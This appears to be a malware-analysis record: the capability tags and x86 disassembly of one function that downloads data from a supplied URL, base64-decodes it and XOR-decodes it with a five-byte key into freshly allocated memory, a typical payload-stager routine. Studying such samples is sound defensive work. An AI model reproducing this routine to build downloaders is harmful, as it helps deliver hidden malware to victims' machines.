Function at 0x4024d0
Capabilities:
Decode data using base64 via winapi
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 0
push 0x100
push 0
lea eax, [ebp - 0x160]
push eax
call fcn.00401940
add esp, 0xc
push 0x40
push 0
lea ecx, [ebp - 0x60]
push ecx
call fcn.00401940
add esp, 0xc
push 0x200
push 0
lea edx, [ebp - 0x360]
push edx
call fcn.00401940
add esp, 0xc
push 0
push 0x84200000
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [0x407bd4]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x40254d
jmp 0x4026bd
push 0x3f
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x160]
push eax
call fcn.00401290
add esp, 0xc
lea ecx, [ebp - 0x60]
push ecx
lea edx, [ebp - 0x160]
push edx
call fcn.00402720
add esp, 8
test eax, eax
jne 0x40257e
jmp 0x4026bd
push str.response
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp + eax - 0x5f]
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call fcn.00402470
add esp, 8
mov eax, dword [ebp - 8]
push eax
push 0
mov ecx, dword [0x407b6c]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4025c1
jmp 0x4026bd
push 4
push 0x3000
mov edx, dword [ebp - 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4025e2
jmp 0x4026bd
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push eax
push 0x200
lea ecx, [ebp - 0x360]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40264f
cmp dword [ebp - 0x18], 0
je 0x40264f
mov eax, dword [ebp - 0x18]
push eax
lea ecx, [ebp - 0x360]
push ecx
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x14]
push edx
call fcn.00401980
add esp, 0xc
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
push 0x200
push 0
lea ecx, [ebp - 0x360]
push ecx
call fcn.00401940
add esp, 0xc
jmp 0x4025f0
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 8]
je 0x402659
jmp 0x4026bd
push 0
push 0
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 1
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x40267b
jmp 0x4026bd
mov dword [ebp - 0xc], 0
jmp 0x40268d
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 8]
jae 0x4026bd
mov eax, dword [ebp - 0xc]
xor edx, edx
mov ecx, 5
div ecx
movsx edx, byte [edx + 0x407460]
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
movzx ecx, byte [eax]
xor ecx, edx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0xc]
mov byte [edx], cl
jmp 0x402684
cmp dword [ebp - 0x10], 0
je 0x4026d6
mov eax, dword [ebp - 0x10]
push eax
push 0
mov ecx, dword [0x407b6c]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [ebp - 4], 0
je 0x4026ff
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
test eax, eax
jne 0x4026ff
push 0x8000
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [ebp - 0x1c], 0
je 0x40270f
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret